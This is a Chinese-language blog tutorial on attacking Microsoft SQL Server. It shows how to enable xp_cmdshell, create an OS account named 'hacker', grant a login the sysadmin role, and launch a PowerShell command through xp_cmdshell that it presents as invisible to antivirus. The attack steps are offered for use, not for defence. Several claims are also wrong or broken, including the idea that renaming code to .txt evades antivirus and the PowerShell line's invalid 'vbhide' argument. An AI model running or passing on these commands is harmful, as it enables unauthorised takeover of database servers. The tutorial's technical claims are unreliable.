1.前言
在自己的学习过程中,接触到了SQL Server,发现其是一个非常全面的数据库管理系统,同时也是大公司企业级别的首选数据库,而MSSQL作为SQL Server的主题面之一,在各大企业中也相当常见,因此研究MSSQL的安全问题变得非常重要。
在实际工作中,经常遇到需要提升权限或绕过杀软的情况,今天我将会分享一个基于MSSQL的提升权限及绕过杀软的方法。
2.提升权限
2.1 xp_cmdshell
在前置知识中,我们需要了解的是xp_cmdshell,xp_cmdshell作为MSSQL中一个可以调用操作系统shell的存储过程,提供了执行操作系统命令的功能。如果我们可以成功的利用xp_cmdshell存储过程的特性,那么提升权限的方式也就呼之欲出了。
具体实现方法如下:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
通过以上代码,我们可以将xp_cmdshell开启,然后编写我们需要执行的系统命令即可,如下所示:
EXEC master..xp_cmdshell 'net user hacker hacker123 /add';
上述代码可以在MSSQL中添加一个名为hacker,密码为hacker123的新用户,此时我们就可以成功的以hacker的身份登录系统,并且提升了自己的权限。
2.2 DBA权限提升
如果我们只想要提升我们的权限,并不想创建新的用户或工具,则可以利用MSSQL提供的DBA权限提升方式来实现。
具体方法如下:
EXEC sp_addsrvrolemember 'username','sysadmin';
其中username换成我们需要提升权限的用户,以上代码则会将该用户提升至数据库管理员的权限。
3.绕过杀软
3.1 重命名
既然我们已经拿到了管理员的权限,那么我们就可以任性的执行我们想要的操作了,有些时候我们需要执行的操作可能会被杀软拦截,因此我们需要寻找其他方法使得杀软无法识别出我们的操作。
首先想到的就是重命名文件,比如我们可以将一段需要执行的代码重命名为.txt格式,然后上传到服务器上,此时杀软因为无法识别文件后缀,就不会拦截这段代码了。
3.2 无文件攻击
在一些情况下,我们并不能直接上传文件到服务器上,或者文件上传后被发现了,则需要使用无文件攻击的方法来绕过杀软。
具体实现方法如下:
DECLARE @command varchar(8000);
SET @command='powershell.exe -ExecutionPolicy Bypass -Command ';
SET @command=@command+'[System.Reflection.Assembly]::LoadWithPartialName(''Microsoft.VisualBasic'');';
SET @command=@command+'[Microsoft.VisualBasic.Interaction]::Shell("calc", vbhide);'
EXEC master..xp_cmdshell @command;
以上代码的作用是通过调用PowerShell脚本来执行需要执行的操作,此时杀软就无法检测到我们的活动并拦截它。
4.总结
通过本文的介绍,我们可以发现MSSQL是一种非常强大的数据库管理系统,并且使用它可以实现各种各样的操作,同时也需要注意其安全性问题。而想要提升权限或绕过杀软这些在我们工作中经常会遇到的问题,也有针对性的解决方法,只需要具备一些基础知识和操作技巧就可以进行灵活运用。